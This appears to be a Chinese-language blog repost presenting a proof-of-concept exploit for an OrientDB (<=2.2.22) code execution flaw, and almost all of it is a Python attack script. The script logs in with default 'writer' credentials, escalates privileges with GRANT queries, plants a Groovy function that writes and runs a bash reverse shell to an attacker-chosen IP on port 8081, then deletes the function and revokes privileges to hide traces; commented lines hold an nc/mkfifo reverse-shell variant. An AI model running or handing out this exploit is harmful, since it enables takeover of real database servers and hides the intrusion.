OrientDB <=2.22 代码执行漏洞

关于OrientDB

OrientDB是一个分布式图形数据库引擎，具有文档数据库的灵活性，一体化的产品。第一个也是最好的可升级，高性能，可操作的NoSQL数据库。

不说过多话语

直接附上

poc

#! /usr/bin/env python #-*- coding: utf-8 -*- import sys import requests import json import string import random    target = sys.argv[1]    try:     port = sys.argv[2] if sys.argv[2] else 2480 except:     port = 2480    url = "http://%s:%s/command/GratefulDeadConcerts/sql/-/20?format=rid,type,version,class,graph"%(target,port)       def random_function_name(size=5, chars=string.ascii_lowercase + string.digits):     return ''.join(random.choice(chars) for _ in range(size))    def enum_databases(target,port="2480"):        base_url = "http://%s:%s/listDatabases"%(target,port)     req = requests.get(base_url)        if req.status_code == 200:         #print "[+] Database Enumeration successful"         database = req.json()['databases']            return database        return False    def check_version(target,port="2480"):     base_url = "http://%s:%s/listDatabases"%(target,port)     req = requests.get(base_url)        if req.status_code == 200:            headers = req.headers['server']         #print headers         if "2.2" in headers or "3." in headers:             return True        return False    def run_queries(permission,db,content=""):        databases = enum_databases(target)        url = "http://%s:%s/command/%s/sql/-/20?format=rid,type,version,class,graph"%(target,port,databases[0])        priv_enable = ["create","read","update","execute","delete"]     #query = "GRANT create ON database.class.ouser TO writer"        for priv in priv_enable:            if permission == "GRANT":             query = "GRANT %s ON %s TO writer"%(priv,db)         else:             query = "REVOKE %s ON %s FROM writer"%(priv,db)         req = requests.post(url,data=query,auth=('writer','writer'))         if req.status_code == 200:             pass         else:             if priv == "execute":                 return True             return False        print "[+] %s"%(content)     return True    def priv_escalation(target,port="2480"):        print "[+] Checking OrientDB Database version is greater than 2.2"        if check_version(target,port):            priv1 = run_queries("GRANT","database.class.ouser","Privilege Escalation done checking enabling operations on database.function")         priv2 = run_queries("GRANT","database.function","Enabled functional operations on database.function")         priv3 = run_queries("GRANT","database.systemclusters","Enabling access to system clusters")            if priv1 and priv2 and priv3:             return True        return False    def exploit(target,port="2480"):        #query = '"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"most","language":"groovy","code":"def command = /'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1/';File file = new File(/"hello.sh/");file.delete();file << (/"#!/bin/bash//n/");file << (command);def proc = /"bash hello.sh/".execute(); ","parameters":null'        #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"ost","language":"groovy","code":"def command = 'whoami';File file = new File(/"hello.sh/");file.delete();file << (/"#!/bin/bash//n/");file << (command);def proc = /"bash hello.sh/".execute(); ","parameters":None}        func_name = random_function_name()        print func_name        databases = enum_databases(target)        reverse_ip = raw_input('Enter the ip to connect back: ')        query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = /'bash -i >& /dev/tcp/'+reverse_ip+'/8081 0>&1/';File file = new File(//"hello.sh//");file.delete();file << (//"#!/bin/bash////n//");file << (command);def proc = //"bash hello.sh//".execute();","parameters":null}'     #query = '{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"'+func_name+'","language":"groovy","code":"def command = /'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 0.0.0.0 8081 >/tmp/f/' /u000a File file = new File(/"hello.sh/")/u000a     file.delete()       /u000a     file << (/"#!/bin/bash/")/u000a     file << (command)/n    def proc = /"bash hello.sh/".execute() ","parameters":null}'     #query = {"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":None,"name":"lllasd","language":"groovy","code":"def command = /'bash -i >& /dev/tcp/0.0.0.0/8081 0>&1/';File file = new File(/"hello.sh/");file.delete();file << (/"#!/bin/bash//n/");file << (command);def proc = /"bash hello.sh/".execute();","parameters":None}     req = requests.post("http://%s:%s/document/%s/-1:-1"%(target,port,databases[0]),data=query,auth=('writer','writer'))        if req.status_code == 201:            #print req.status_code         #print req.json()            func_id = req.json()['@rid'].strip("#")         #print func_id            print "[+] Exploitation successful, get ready for your shell.Executing %s"%(func_name)            req = requests.post("http://%s:%s/function/%s/%s"%(target,port,databases[0],func_name),auth=('writer','writer'))         #print req.status_code         #print req.text            if req.status_code == 200:             print "[+] Open netcat at port 8081.."         else:             print "[+] Exploitation failed at last step, try running the script again."             print req.status_code             print req.text            #print "[+] Deleting traces.."            req = requests.delete("http://%s:%s/document/%s/%s"%(target,port,databases[0],func_id),auth=('writer','writer'))         priv1 = run_queries("REVOKE","database.class.ouser","Cleaning Up..database.class.ouser")         priv2 = run_queries("REVOKE","database.function","Cleaning Up..database.function")         priv3 = run_queries("REVOKE","database.systemclusters","Cleaning Up..database.systemclusters")            #print req.status_code         #print req.text    def main():        target = sys.argv[1]     #port = sys.argv[1] if sys.argv[1] else 2480     try:         port = sys.argv[2] if sys.argv[2] else 2480         #print port     except:         port = 2480     if priv_escalation(target,port):         exploit(target,port)     else:         print "[+] Target not vulnerable"    main()

原文:0day5.com/archives/4424/

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